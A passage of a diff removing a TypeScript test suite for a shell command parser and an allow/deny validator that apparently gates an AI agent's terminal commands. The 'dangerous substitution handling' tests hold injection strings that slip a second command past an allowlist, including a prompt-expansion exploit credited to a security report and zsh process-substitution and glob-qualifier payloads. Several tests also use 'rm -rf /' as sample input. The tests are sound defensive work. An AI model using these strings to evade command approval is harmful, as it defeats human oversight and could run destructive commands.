-  sleep 1; \\
-done`
-
-			// This reproduces the original error
-			expect(() => {
-				parseCommand(logGeneratorCommand)
-			}).not.toThrow("Bad substitution: levels[$RANDOM")
-		})
-
-		it("should not throw an error when parsing just the problematic part", () => {
-			// This isolates just the part mentioned in the error message
-			const problematicPart = "level=${levels[$RANDOM"
-
-			expect(() => {
-				parseCommand(problematicPart)
-			}).not.toThrow("Bad substitution")
-		})
-
-		it("should handle bash arithmetic expressions with $(())", () => {
-			// Test the exact script from the user's error
-			const bashScript = `jsx_files=$(find resources/js -name "*.jsx" -type f -not -path "*/node_modules/*")
-count=0
-for file in $jsx_files; do
-  ts_file="\${file%.jsx}.tsx"
-  if [ ! -f "$ts_file" ]; then
-    cp "$file" "$ts_file"
-    count=$((count + 1))
-  fi
-done
-echo "Successfully converted $count .jsx files to .tsx"`
-
-			expect(() => {
-				parseCommand(bashScript)
-			}).not.toThrow("Bad substitution: calc.add")
-		})
-
-		it("should correctly parse commands with arithmetic expressions", () => {
-			const result = parseCommand("count=$((count + 1)) && echo $count")
-			expect(result).toEqual(["count=$((count + 1))", "echo $count"])
-		})
-
-		it("should handle nested arithmetic expressions", () => {
-			const result = parseCommand("result=$((10 * (5 + 3))) && echo $result")
-			expect(result).toEqual(["result=$((10 * (5 + 3)))", "echo $result"])
-		})
-
-		it("should handle arithmetic expressions with variables", () => {
-			const result = parseCommand("total=$((price * quantity + tax))")
-			expect(result).toEqual(["total=$((price * quantity + tax))"])
-		})
-
-		it("should handle complex parameter expansions without errors", () => {
-			const commands = [
-				"echo ${var:-default}",
-				"echo ${#array[@]}",
-				"echo ${var%suffix}",
-				"echo ${var#prefix}",
-				"echo ${var/pattern/replacement}",
-				"echo ${!var}",
-				"echo ${var:0:5}",
-				"echo ${var,,}",
-				"echo ${var^^}",
-			]
-
-			commands.forEach((cmd) => {
-				expect(() => {
-					parseCommand(cmd)
-				}).not.toThrow()
-			})
-		})
-
-		it("should handle process substitutions without errors", () => {
-			const commands = [
-				"diff <(sort file1) <(sort file2)",
-				"command >(gzip > output.gz)",
-				"while read line; do echo $line; done < <(cat file)",
-			]
-
-			commands.forEach((cmd) => {
-				expect(() => {
-					parseCommand(cmd)
-				}).not.toThrow()
-			})
-		})
-
-		it("should handle special bash variables without errors", () => {
-			const commands = [
-				"echo $?",
-				"echo $!",
-				"echo $#",
-				"echo $$",
-				"echo $@",
-				"echo $*",
-				"echo $-",
-				"echo $0",
-				"echo $1 $2 $3",
-			]
-
-			commands.forEach((cmd) => {
-				expect(() => {
-					parseCommand(cmd)
-				}).not.toThrow()
-			})
-		})
-
-		it("should handle mixed complex bash constructs", () => {
-			const complexCommand = `
-				for file in \${files[@]}; do
-					if [[ -f "\${file%.txt}.bak" ]]; then
-						count=\$((count + 1))
-						echo "Processing \${file} (\$count/\${#files[@]})"
-						result=\$(process_file "\$file" 2>&1)
-						if [[ \$? -eq 0 ]]; then
-							echo "Success: \$result" >(logger)
-						fi
-					fi
-				done
-			`
-
-			expect(() => {
-				parseCommand(complexCommand)
-			}).not.toThrow()
-		})
-
-		it("should handle fallback parsing when shell-quote fails", () => {
-			// Test a command that might cause shell-quote to fail
-			const problematicCommand = "echo ${unclosed"
-
-			expect(() => {
-				const result = parseCommand(problematicCommand)
-				// Should not throw and should return some result
-				expect(Array.isArray(result)).toBe(true)
-			}).not.toThrow()
-		})
-	})
-
-	describe("Denylist Command Validation", () => {
-		describe("findLongestPrefixMatch", () => {
-			it("finds the longest matching prefix", () => {
-				const prefixes = ["npm", "npm test", "npm run"]
-				expect(findLongestPrefixMatch("npm test --coverage", prefixes)).toBe("npm test")
-				expect(findLongestPrefixMatch("npm run build", prefixes)).toBe("npm run")
-				expect(findLongestPrefixMatch("npm install", prefixes)).toBe("npm")
-			})
-
-			it("returns null when no prefix matches", () => {
-				const prefixes = ["npm", "echo"]
-				expect(findLongestPrefixMatch("rm -rf /", prefixes)).toBe(null)
-				expect(findLongestPrefixMatch("dangerous", prefixes)).toBe(null)
-			})
-
-			it("handles case insensitive matching", () => {
-				const prefixes = ["npm test", "Echo"]
-				expect(findLongestPrefixMatch("NPM TEST --coverage", prefixes)).toBe("npm test")
-				expect(findLongestPrefixMatch("echo hello", prefixes)).toBe("echo")
-			})
-
-			it("handles empty inputs", () => {
-				expect(findLongestPrefixMatch("", ["npm"])).toBe(null)
-				expect(findLongestPrefixMatch("npm test", [])).toBe(null)
-				expect(findLongestPrefixMatch("npm test", undefined as any)).toBe(null)
-			})
-		})
-
-		describe("isAutoApprovedSingleCommand", () => {
-			const allowedCommands = ["npm", "echo", "git"]
-			const deniedCommands = ["npm test", "git push"]
-
-			it("allows commands that match allowlist but not denylist", () => {
-				expect(isAutoApprovedSingleCommand("npm install", allowedCommands, deniedCommands)).toBe(true)
-				expect(isAutoApprovedSingleCommand("echo hello", allowedCommands, deniedCommands)).toBe(true)
-				expect(isAutoApprovedSingleCommand("git status", allowedCommands, deniedCommands)).toBe(true)
-			})
-
-			it("denies commands that match denylist", () => {
-				expect(isAutoApprovedSingleCommand("npm test --coverage", allowedCommands, deniedCommands)).toBe(false)
-				expect(isAutoApprovedSingleCommand("git push origin main", allowedCommands, deniedCommands)).toBe(false)
-			})
-
-			it("uses longest prefix match rule", () => {
-				const allowedLong = ["npm", "npm test"]
-				const deniedShort = ["npm"]
-
-				// "npm test" is longer than "npm", so it should be allowed
-				expect(isAutoApprovedSingleCommand("npm test --coverage", allowedLong, deniedShort)).toBe(true)
-
-				const allowedShort = ["npm"]
-				const deniedLong = ["npm test"]
-
-				// "npm test" is longer than "npm", so it should be denied
-				expect(isAutoApprovedSingleCommand("npm test --coverage", allowedShort, deniedLong)).toBe(false)
-			})
-
-			it("handles wildcard patterns with longest prefix match", () => {
-				const allowedWithWildcard = ["*"]
-				const deniedWithWildcard = ["*"]
-
-				// Both wildcards have length 1, so it's a tie - longest prefix match rule applies
-				// Since both match with same length, denylist wins in tie-breaker
-				expect(isAutoApprovedSingleCommand("any command", allowedWithWildcard, deniedWithWildcard)).toBe(false)
-
-				// Test wildcard vs specific pattern
-				const allowedWithWildcard2 = ["*"]
-				const deniedSpecific = ["rm -rf"]
-
-				// "rm -rf" (length 6) is longer than "*" (length 1), so denylist wins
-				expect(isAutoApprovedSingleCommand("rm -rf /", allowedWithWildcard2, deniedSpecific)).toBe(false)
-				// Commands not matching "rm -rf" should be allowed by "*"
-				expect(isAutoApprovedSingleCommand("npm test", allowedWithWildcard2, deniedSpecific)).toBe(true)
-			})
-
-			it("handles specific pattern vs wildcard", () => {
-				const allowedSpecific = ["npm test"]
-				const deniedWildcard = ["*"]
-
-				// "npm test" (length 8) is longer than "*" (length 1), so allowlist wins
-				expect(isAutoApprovedSingleCommand("npm test --coverage", allowedSpecific, deniedWildcard)).toBe(true)
-				// Commands not matching "npm test" should be denied by "*"
-				expect(isAutoApprovedSingleCommand("git status", allowedSpecific, deniedWildcard)).toBe(false)
-			})
-
-			it("denies commands that match neither list", () => {
-				expect(isAutoApprovedSingleCommand("dangerous", allowedCommands, deniedCommands)).toBe(false)
-				expect(isAutoApprovedSingleCommand("rm -rf /", allowedCommands, deniedCommands)).toBe(false)
-			})
-
-			it("handles empty command", () => {
-				expect(isAutoApprovedSingleCommand("", allowedCommands, deniedCommands)).toBe(true)
-			})
-
-			it("handles empty lists", () => {
-				// When both lists are empty, nothing is auto-approved (ask user is default)
-				expect(isAutoApprovedSingleCommand("npm test", [], [])).toBe(false)
-				expect(isAutoApprovedSingleCommand("npm test", undefined as any, undefined as any)).toBe(false)
-			})
-
-			describe("Three-Tier Command Validation", () => {
-				const allowedCommands = ["npm", "echo", "git"]
-				const deniedCommands = ["npm test", "git push"]
-
-				describe("isAutoApprovedSingleCommand", () => {
-					it("auto-approves commands that match allowlist but not denylist", () => {
-						expect(isAutoApprovedSingleCommand("npm install", allowedCommands, deniedCommands)).toBe(true)
-						expect(isAutoApprovedSingleCommand("echo hello", allowedCommands, deniedCommands)).toBe(true)
-						expect(isAutoApprovedSingleCommand("git status", allowedCommands, deniedCommands)).toBe(true)
-					})
-
-					it("does not auto-approve commands that match denylist", () => {
-						expect(
-							isAutoApprovedSingleCommand("npm test --coverage", allowedCommands, deniedCommands),
-						).toBe(false)
-						expect(
-							isAutoApprovedSingleCommand("git push origin main", allowedCommands, deniedCommands),
-						).toBe(false)
-					})
-
-					it("does not auto-approve commands that match neither list", () => {
-						expect(isAutoApprovedSingleCommand("dangerous", allowedCommands, deniedCommands)).toBe(false)
-						expect(isAutoApprovedSingleCommand("rm -rf /", allowedCommands, deniedCommands)).toBe(false)
-					})
-
-					it("does not auto-approve when no allowlist configured", () => {
-						expect(isAutoApprovedSingleCommand("npm test", [], deniedCommands)).toBe(false)
-						expect(isAutoApprovedSingleCommand("npm test", undefined as any, deniedCommands)).toBe(false)
-					})
-
-					it("uses longest prefix match rule for auto-approval", () => {
-						const allowedLong = ["npm", "npm test"]
-						const deniedShort = ["npm"]
-
-						// "npm test" is longer than "npm", so it should be auto-approved
-						expect(isAutoApprovedSingleCommand("npm test --coverage", allowedLong, deniedShort)).toBe(true)
-					})
-				})
-
-				describe("isAutoDeniedSingleCommand", () => {
-					it("auto-denies commands that match denylist but not allowlist", () => {
-						expect(isAutoDeniedSingleCommand("npm test --coverage", allowedCommands, deniedCommands)).toBe(
-							true,
-						)
-						expect(isAutoDeniedSingleCommand("git push origin main", allowedCommands, deniedCommands)).toBe(
-							true,
-						)
-					})
-
-					it("does not auto-deny commands that match allowlist", () => {
-						expect(isAutoDeniedSingleCommand("npm install", allowedCommands, deniedCommands)).toBe(false)
-						expect(isAutoDeniedSingleCommand("echo hello", allowedCommands, deniedCommands)).toBe(false)
-						expect(isAutoDeniedSingleCommand("git status", allowedCommands, deniedCommands)).toBe(false)
-					})
-
-					it("does not auto-deny commands that match neither list", () => {
-						expect(isAutoDeniedSingleCommand("dangerous", allowedCommands, deniedCommands)).toBe(false)
-						expect(isAutoDeniedSingleCommand("rm -rf /", allowedCommands, deniedCommands)).toBe(false)
-					})
-
-					it("does not auto-deny when no denylist configured", () => {
-						expect(isAutoDeniedSingleCommand("npm test", allowedCommands, [])).toBe(false)
-						expect(isAutoDeniedSingleCommand("npm test", allowedCommands, undefined as any)).toBe(false)
-					})
-
-					it("uses longest prefix match rule for auto-denial", () => {
-						const allowedShort = ["npm"]
-						const deniedLong = ["npm test"]
-
-						// "npm test" is longer than "npm", so it should be auto-denied
-						expect(isAutoDeniedSingleCommand("npm test --coverage", allowedShort, deniedLong)).toBe(true)
-					})
-
-					it("auto-denies when denylist match is equal length to allowlist match", () => {
-						const allowedEqual = ["npm test"]
-						const deniedEqual = ["npm test"]
-
-						// Equal length matches should result in auto-denial
-						expect(isAutoDeniedSingleCommand("npm test --coverage", allowedEqual, deniedEqual)).toBe(true)
-					})
-				})
-
-				describe("Three-tier behavior verification", () => {
-					it("demonstrates the three-tier system", () => {
-						const allowed = ["npm"]
-						const denied = ["npm test"]
-
-						// Auto-approved: matches allowlist, doesn't match denylist
-						expect(isAutoApprovedSingleCommand("npm install", allowed, denied)).toBe(true)
-						expect(isAutoDeniedSingleCommand("npm install", allowed, denied)).toBe(false)
-
-						// Auto-denied: matches denylist with longer or equal match
-						expect(isAutoApprovedSingleCommand("npm test --coverage", allowed, denied)).toBe(false)
-						expect(isAutoDeniedSingleCommand("npm test --coverage", allowed, denied)).toBe(true)
-
-						// Ask user: matches neither list
-						expect(isAutoApprovedSingleCommand("dangerous", allowed, denied)).toBe(false)
-						expect(isAutoDeniedSingleCommand("dangerous", allowed, denied)).toBe(false)
-
-						// Ask user: no lists configured
-						expect(isAutoApprovedSingleCommand("npm test", [], [])).toBe(false)
-						expect(isAutoDeniedSingleCommand("npm test", [], [])).toBe(false)
-					})
-				})
-			})
-		})
-	})
-})
-describe("Unified Command Decision Functions", () => {
-	describe("getSingleCommandDecision", () => {
-		const allowedCommands = ["npm", "echo", "git"]
-		const deniedCommands = ["npm test", "git push"]
-
-		it("returns auto_approve for commands that match allowlist but not denylist", () => {
-			expect(getSingleCommandDecision("npm install", allowedCommands, deniedCommands)).toBe("auto_approve")
-			expect(getSingleCommandDecision("echo hello", allowedCommands, deniedCommands)).toBe("auto_approve")
-			expect(getSingleCommandDecision("git status", allowedCommands, deniedCommands)).toBe("auto_approve")
-		})
-
-		it("returns auto_deny for commands that match denylist", () => {
-			expect(getSingleCommandDecision("npm test --coverage", allowedCommands, deniedCommands)).toBe("auto_deny")
-			expect(getSingleCommandDecision("git push origin main", allowedCommands, deniedCommands)).toBe("auto_deny")
-		})
-
-		it("returns ask_user for commands that match neither list", () => {
-			expect(getSingleCommandDecision("dangerous", allowedCommands, deniedCommands)).toBe("ask_user")
-			expect(getSingleCommandDecision("rm -rf /", allowedCommands, deniedCommands)).toBe("ask_user")
-		})
-
-		it("implements longest prefix match rule correctly", () => {
-			const allowedLong = ["npm", "npm test"]
-			const deniedShort = ["npm"]
-
-			// "npm test" (8 chars) is longer than "npm" (3 chars), so allowlist wins
-			expect(getSingleCommandDecision("npm test --coverage", allowedLong, deniedShort)).toBe("auto_approve")
-
-			const allowedShort = ["npm"]
-			const deniedLong = ["npm test"]
-
-			// "npm test" (8 chars) is longer than "npm" (3 chars), so denylist wins
-			expect(getSingleCommandDecision("npm test --coverage", allowedShort, deniedLong)).toBe("auto_deny")
-		})
-
-		it("handles equal length matches with denylist winning", () => {
-			const allowedEqual = ["npm test"]
-			const deniedEqual = ["npm test"]
-
-			// Equal length - denylist wins (secure by default)
-			expect(getSingleCommandDecision("npm test --coverage", allowedEqual, deniedEqual)).toBe("auto_deny")
-		})
-
-		it("handles wildcard patterns correctly", () => {
-			const allowedWildcard = ["*"]
-			const deniedSpecific = ["rm -rf"]
-
-			// "*" (1 char) vs "rm -rf" (6 chars) - denylist wins for matching commands
-			expect(getSingleCommandDecision("rm -rf /", allowedWildcard, deniedSpecific)).toBe("auto_deny")
-			// Non-matching commands should be auto-approved by wildcard
-			expect(getSingleCommandDecision("npm test", allowedWildcard, deniedSpecific)).toBe("auto_approve")
-		})
-
-		it("handles empty command", () => {
-			expect(getSingleCommandDecision("", allowedCommands, deniedCommands)).toBe("auto_approve")
-		})
-
-		it("handles empty lists", () => {
-			expect(getSingleCommandDecision("npm test", [], [])).toBe("ask_user")
-			expect(getSingleCommandDecision("npm test", undefined as any, undefined as any)).toBe("ask_user")
-		})
-	})
-
-	describe("getCommandDecision", () => {
-		const allowedCommands = ["npm", "echo"]
-		const deniedCommands = ["npm test"]
-
-		it("returns auto_approve for commands with all sub-commands auto-approved", () => {
-			expect(getCommandDecision("npm install", allowedCommands, deniedCommands)).toBe("auto_approve")
-			expect(getCommandDecision("npm install && echo done", allowedCommands, deniedCommands)).toBe("auto_approve")
-		})
-
-		describe("dangerous substitution handling", () => {
-			it("prevents auto-approve for commands with dangerous parameter expansion", () => {
-				// Commands that would normally be auto-approved are blocked by dangerous patterns
-				expect(getCommandDecision("echo ${var@P}", allowedCommands, deniedCommands)).toBe("ask_user")
-				expect(getCommandDecision("echo hello", allowedCommands, deniedCommands)).toBe("auto_approve") // Safe version
-
-				// Even with allowed prefix, dangerous patterns prevent auto-approval
-				expect(getCommandDecision("npm install ${var@P}", allowedCommands, deniedCommands)).toBe("ask_user")
-				expect(
-					getCommandDecision('echo "${var1=\\140whoami\\140c}${var1@P}"', allowedCommands, deniedCommands),
-				).toBe("ask_user")
-			})
-
-			it("does NOT override auto_deny decisions with dangerous patterns", () => {
-				// If a command would be denied, dangerous patterns don't change that
-				expect(getCommandDecision("npm test ${var@P}", allowedCommands, deniedCommands)).toBe("auto_deny")
-				expect(getCommandDecision('npm test "${var=\\140ls\\140}"', allowedCommands, deniedCommands)).toBe(
-					"auto_deny",
-				)
-
-				// Regular denied commands without dangerous patterns
-				expect(getCommandDecision("npm test --coverage", allowedCommands, deniedCommands)).toBe("auto_deny")
-			})
-
-			it("prevents auto-approval for various dangerous substitution types", () => {
-				// Octal escape sequences
-				expect(getCommandDecision('echo "${var=\\140ls\\140}"', allowedCommands, deniedCommands)).toBe(
-					"ask_user",
-				)
-				expect(getCommandDecision('npm run "${var:=\\140pwd\\140}"', allowedCommands, deniedCommands)).toBe(
-					"ask_user",
-				)
-
-				// Hex escape sequences
-				expect(getCommandDecision('echo "${var=\\x60whoami\\x60}"', allowedCommands, deniedCommands)).toBe(
-					"ask_user",
-				)
-
-				// Indirect variable references
-				expect(getCommandDecision("echo ${!var}", allowedCommands, deniedCommands)).toBe("ask_user")
-
-				// Here-strings with command substitution
-				expect(getCommandDecision("cat <<<$(whoami)", allowedCommands, deniedCommands)).toBe("ask_user")
-				expect(getCommandDecision("read <<<`date`", allowedCommands, deniedCommands)).toBe("ask_user")
-			})
-
-			it("allows safe parameter expansions to follow normal rules", () => {
-				// Safe parameter expansions should follow normal allowlist/denylist rules
-				expect(getCommandDecision("echo ${var}", allowedCommands, deniedCommands)).toBe("auto_approve")
-				expect(getCommandDecision("echo ${var:-default}", allowedCommands, deniedCommands)).toBe("auto_approve")
-				expect(getCommandDecision("npm install ${package_name}", allowedCommands, deniedCommands)).toBe(
-					"auto_approve",
-				)
-
-				// Here-strings without command substitution are safe
-				expect(getCommandDecision("echo test <<<$var", allowedCommands, deniedCommands)).toBe("auto_approve")
-			})
-
-			it("handles command chains correctly with dangerous patterns", () => {
-				// If any part of a chain has dangerous substitution, prevent auto-approval
-				expect(getCommandDecision("npm install && echo ${var@P}", allowedCommands, deniedCommands)).toBe(
-					"ask_user",
-				)
-				expect(
-					getCommandDecision('echo safe && echo "${var=\\140ls\\140}"', allowedCommands, deniedCommands),
-				).toBe("ask_user")
-
-				// But if chain would be denied, keep the deny decision
-				expect(getCommandDecision("npm test ${var@P} && echo safe", allowedCommands, deniedCommands)).toBe(
-					"auto_deny",
-				)
-				expect(getCommandDecision("npm install && npm test ${var@P}", allowedCommands, deniedCommands)).toBe(
-					"auto_deny",
-				)
-
-				// Safe chains should still be auto-approved
-				expect(getCommandDecision("npm install && echo done", allowedCommands, deniedCommands)).toBe(
-					"auto_approve",
-				)
-			})
-
-			it("handles the exact exploit from the security report", () => {
-				const exploit = 'echo "${var1=aa\\140whoami\\140c}${var1@P}"'
-				// Even though 'echo' is in the allowlist, the dangerous pattern prevents auto-approval
-				expect(getCommandDecision(exploit, allowedCommands, deniedCommands)).toBe("ask_user")
-
-				// But if it were a denied command, it would still be denied
-				expect(getCommandDecision(`npm test ${exploit}`, allowedCommands, deniedCommands)).toBe("auto_deny")
-			})
-
-			it("prevents auto-approval for zsh process substitution exploits", () => {
-				// The new zsh process substitution exploit
-				const zshExploit = "ls =(open -a Calculator)"
-				// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
-				expect(getCommandDecision(zshExploit, ["ls", "echo"], [])).toBe("ask_user")
-
-				// Various forms should all be blocked
-				expect(getCommandDecision("cat =(whoami)", ["cat"], [])).toBe("ask_user")
-				expect(getCommandDecision("diff =(cmd1) =(cmd2)", ["diff"], [])).toBe("ask_user")
-				expect(getCommandDecision("echo test =(date)", ["echo"], [])).toBe("ask_user")
-
-				// Combined with denied commands
-				expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
-			})
-
-			it("prevents auto-approval for zsh glob qualifier exploits", () => {
-				// The zsh glob qualifier exploit with code execution
-				const globExploit = "ls *(e:whoami:)"
-				// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
-				expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user")
-
-				// Various forms should all be blocked
-				expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user")
-				expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user")
-				expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user")
-				expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern
-
-				// Combined with denied commands
-				expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny")
-
-				// Multiple glob qualifiers
-				expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user")
-			})
-		})
-
-		it("returns auto_deny for commands with any sub-command auto-denied", () => {
-			expect(getCommandDecision("npm test", allowedCommands, deniedCommands)).toBe("auto_deny")
-			expect(getCommandDecision("npm install && npm test", allowedCommands, deniedCommands)).toBe("auto_deny")
-		})
-
-		it("returns ask_user for commands with mixed or unknown sub-commands", () => {
-			expect(getCommandDecision("dangerous", allowedCommands, deniedCommands)).toBe("ask_user")
-			expect(getCommandDecision("npm install && dangerous", allowedCommands, deniedCommands)).toBe("ask_user")
-		})
-
-		it("properly validates subshell commands by checking all parsed commands", () => {
-			// Subshells without denied prefixes should be auto-approved if all commands are allowed
-			expect(getCommandDecision("npm install $(echo test)", allowedCommands, deniedCommands)).toBe("auto_approve")
-			expect(getCommandDecision("npm install `echo test`", allowedCommands, deniedCommands)).toBe("auto_approve")
-
-			// Subshells with denied prefixes should be auto-denied
-			expect(getCommandDecision("npm install $(npm test)", allowedCommands, deniedCommands)).toBe("auto_deny")
-			expect(getCommandDecision("npm install `npm test --coverage`", allowedCommands, deniedCommands)).toBe(
-				"auto_deny",
-			)
-
-			// Main command with denied prefix should also be auto-denied
-			expect(getCommandDecision("npm test $(echo hello)", allowedCommands, deniedCommands)).toBe("auto_deny")
-		})
-
-		it("properly validates subshell commands when no denylist is present", () => {
-			expect(getCommandDecision("npm install $(echo test)", allowedCommands)).toBe("auto_approve")
-			expect(getCommandDecision("npm install `echo test`", allowedCommands)).toBe("auto_approve")
-		})
-
-		it("handles empty command", () => {
-			expect(getCommandDecision("", allowedCommands, deniedCommands)).toBe("auto_approve")
-		})
-
-		it("handles complex chained commands", () => {
-			// All sub-commands auto-approved
-			expect(getCommandDecision("npm install && echo success && npm run build", ["npm", "echo"], [])).toBe(
-				"auto_approve",
-			)
-
-			// One sub-command auto-denied
-			expect(getCommandDecision("npm install && npm test && echo done", allowedCommands, deniedCommands)).toBe(
-				"auto_deny",
-			)
-
-			// Mixed decisions (some ask_user)
-			expect(getCommandDecision("npm install && dangerous && echo done", allowedCommands, deniedCommands)).toBe(
-				"ask_user",
-			)
-		})
-
-		it("demonstrates the three-tier system comprehensively", () => {
-			const allowed = ["npm"]
-			const denied = ["npm test"]
-
-			// Auto-approved: all sub-commands match allowlist, none match denylist
-			expect(getCommandDecision("npm install", allowed, denied)).toBe("auto_approve")
-			expect(getCommandDecision("npm install && npm run build", allowed, denied)).toBe("auto_approve")
-
-			// Auto-denied: any sub-command matches denylist
-			expect(getCommandDecision("npm test", allowed, denied)).toBe("auto_deny")
-			expect(getCommandDecision("npm install && npm test", allowed, denied)).toBe("auto_deny")
-
-			// Ask user: commands that match neither list
-			expect(getCommandDecision("dangerous", allowed, denied)).toBe("ask_user")
-			expect(getCommandDecision("npm install && dangerous", allowed, denied)).toBe("ask_user")
-		})
-	})
-
-	describe("CommandValidator Integration Tests", () => {
-		describe("CommandValidator Class", () => {
-			let validator: CommandValidator
-
-			beforeEach(() => {
-				validator = new CommandValidator(["npm", "echo", "git"], ["npm test", "git push"])
-			})
-
-			describe("Basic validation methods", () => {
-				it("validates commands correctly", () => {
-					expect(validator.validateCommand("npm install")).toBe("auto_approve")
-					expect(validator.validateCommand("npm test")).toBe("auto_deny")
-					expect(validator.validateCommand("dangerous")).toBe("ask_user")
-				})
-
-				it("provides convenience methods", () => {
-					expect(validator.isAutoApproved("npm install")).toBe(true)
-					expect(validator.isAutoApproved("npm test")).toBe(false)
-					expect(validator.isAutoApproved("dangerous")).toBe(false)
-
-					expect(validator.isAutoDenied("npm install")).toBe(false)
-					expect(validator.isAutoDenied("npm test")).toBe(true)
-					expect(validator.isAutoDenied("dangerous")).toBe(false)
-
-					expect(validator.requiresUserInput("npm install")).toBe(false)
-					expect(validator.requiresUserInput("npm test")).toBe(false)
-					expect(validator.requiresUserInput("dangerous")).toBe(true)
-				})
-			})
-
-			describe("Configuration management", () => {
-				it("updates command lists", () => {
-					validator.updateCommandLists(["echo"], ["echo hello"])
-
-					expect(validator.validateCommand("npm install")).toBe("ask_user")
-					expect(validator.validateCommand("echo world")).toBe("auto_approve")
-					expect(validator.validateCommand("echo hello")).toBe("auto_deny")
-				})
-
-				it("gets current command lists", () => {
-					const lists = validator.getCommandLists()
-					expect(lists.allowedCommands).toEqual(["npm", "echo", "git"])
-					expect(lists.deniedCommands).toEqual(["npm test", "git push"])
-				})
-
-				it("handles undefined denied commands", () => {
-					const validatorNoDeny = new CommandValidator(["npm"])
-					const lists = validatorNoDeny.getCommandLists()
-					expect(lists.allowedCommands).toEqual(["npm"])
-					expect(lists.deniedCommands).toBeUndefined()
-				})
-			})
-
-			describe("Detailed validation information", () => {
-				it("provides comprehensive validation details", () => {
-					const details = validator.getValidationDetails("npm install && echo done")
-
-					expect(details.decision).toBe("auto_approve")
-					expect(details.subCommands).toEqual(["npm install", "echo done"])
-					expect(details.allowedMatches).toHaveLength(2)
-					expect(details.deniedMatches).toHaveLength(2)
-
-					// Check specific matches
-					expect(details.allowedMatches[0]).toEqual({ command: "npm install", match: "npm" })
-					expect(details.allowedMatches[1]).toEqual({ command: "echo done", match: "echo" })
-					expect(details.deniedMatches[0]).toEqual({ command: "npm install", match: null })
-					expect(details.deniedMatches[1]).toEqual({ command: "echo done", match: null })
-				})
-
-				it("detects subshells correctly", () => {
-					const details = validator.getValidationDetails("npm install $(echo test)")
-					expect(details.decision).toBe("auto_approve") // all commands are allowed
-
-					// Test with denied prefix in subshell
-					const detailsWithDenied = validator.getValidationDetails("npm install $(npm test)")
-					expect(detailsWithDenied.decision).toBe("auto_deny") // npm test is denied
-				})
-
-				it("handles complex command chains", () => {
-					const details = validator.getValidationDetails("npm test && git push origin")
-
-					expect(details.decision).toBe("auto_deny")
-					expect(details.subCommands).toEqual(["npm test", "git push origin"])
-					expect(details.deniedMatches[0]).toEqual({ command: "npm test", match: "npm test" })
-					expect(details.deniedMatches[1]).toEqual({ command: "git push origin", match: "git push" })
-				})
-			})
-
-			describe("Batch validation", () => {
-				it("validates multiple commands at once", () => {
-					const commands = ["npm install", "npm test", "dangerous", "echo hello"]
-					const results = validator.validateCommands(commands)
-
-					expect(results.get("npm install")).toBe("auto_approve")
-					expect(results.get("npm test")).toBe("auto_deny")
-					expect(results.get("dangerous")).toBe("ask_user")
-					expect(results.get("echo hello")).toBe("auto_approve")
-					expect(results.size).toBe(4)
-				})
-
-				it("handles empty command list", () => {
-					const results = validator.validateCommands([])
-					expect(results.size).toBe(0)
-				})
-			})
-
-			describe("Configuration analysis", () => {
-				it("detects if rules are configured", () => {
-					expect(validator.hasRules()).toBe(true)
-
-					const emptyValidator = new CommandValidator([], [])
-					expect(emptyValidator.hasRules()).toBe(false)
-
-					const allowOnlyValidator = new CommandValidator(["npm"], [])
-					expect(allowOnlyValidator.hasRules()).toBe(true)
-
-					const denyOnlyValidator = new CommandValidator([], ["rm"])
-					expect(denyOnlyValidator.hasRules()).toBe(true)
-				})
-
-				it("provides configuration statistics", () => {
-					const stats = validator.getStats()
-					expect(stats.allowedCount).toBe(3)
-					expect(stats.deniedCount).toBe(2)
-					expect(stats.hasWildcard).toBe(false)
-					expect(stats.hasRules).toBe(true)
-				})
-
-				it("detects wildcard configuration", () => {
-					const wildcardValidator = new CommandValidator(["*", "npm"], ["rm"])
-					const stats = wildcardValidator.getStats()
-					expect(stats.hasWildcard).toBe(true)
-				})
-			})
-
-			describe("Edge cases and error handling", () => {
-				it("handles empty commands gracefully", () => {
-					expect(validator.validateCommand("")).toBe("auto_approve")
-					expect(validator.validateCommand("   ")).toBe("auto_approve")
-				})
-
-				it("handles commands with only whitespace", () => {
-					const details = validator.getValidationDetails("   ")
-					expect(details.decision).toBe("auto_approve")
-					expect(details.subCommands).toEqual([])
-				})
-
-				it("handles malformed commands", () => {
-					// Commands with unmatched quotes or brackets should not crash
-					expect(() => validator.validateCommand('npm test "unclosed quote')).not.toThrow()
-					expect(() => validator.validateCommand("npm test $(unclosed")).not.toThrow()
-				})
-			})
-		})
-
-		describe("Factory function", () => {
-			it("creates validator instances correctly", () => {
-				const validator = createCommandValidator(["npm"], ["rm"])
-				expect(validator).toBeInstanceOf(CommandValidator)
-				expect(validator.validateCommand("npm test")).toBe("auto_approve")
-				expect(validator.validateCommand("rm file")).toBe("auto_deny")
-			})
-
-			it("handles optional denied commands", () => {
-				const validator = createCommandValidator(["npm"])
-				expect(validator.validateCommand("npm test")).toBe("auto_approve")
-				expect(validator.validateCommand("dangerous")).toBe("ask_user")
-			})
-		})
-
-		describe("Subshell edge cases", () => {
-			it("handles multiple subshells correctly", () => {
-				const validator = createCommandValidator(["echo", "npm"], ["rm", "sudo"])
-
-				// Multiple subshells, none with denied prefixes but subshell commands not in allowlist
-				// parseCommand extracts subshells as separate commands, so date and pwd are not allowed
-				expect(validator.validateCommand("echo $(date) $(pwd)")).toBe("ask_user")
-
-				// Multiple subshells, one with denied prefix
-				expect(validator.validateCommand("echo $(date) $(rm file)")).toBe("auto_deny")
-
-				// Nested subshells - validates individual parsed commands
-				expect(validator.validateCommand("echo $(echo $(date))")).toBe("ask_user")
-				expect(validator.validateCommand("echo $(echo $(rm file))")).toBe("ask_user") // complex nested parsing with mixed validation results
-			})
-
-			it("handles complex commands with subshells", () => {
-				const validator = createCommandValidator(["npm", "git", "echo"], ["git push", "npm publish"])
-
-				// Subshell with allowed command - git status is extracted as separate command
-				// Since "git status" starts with "git" which is allowed, it's approved
-				expect(validator.validateCommand("npm run $(git status)")).toBe("auto_approve")
-
-				// Subshell with denied command
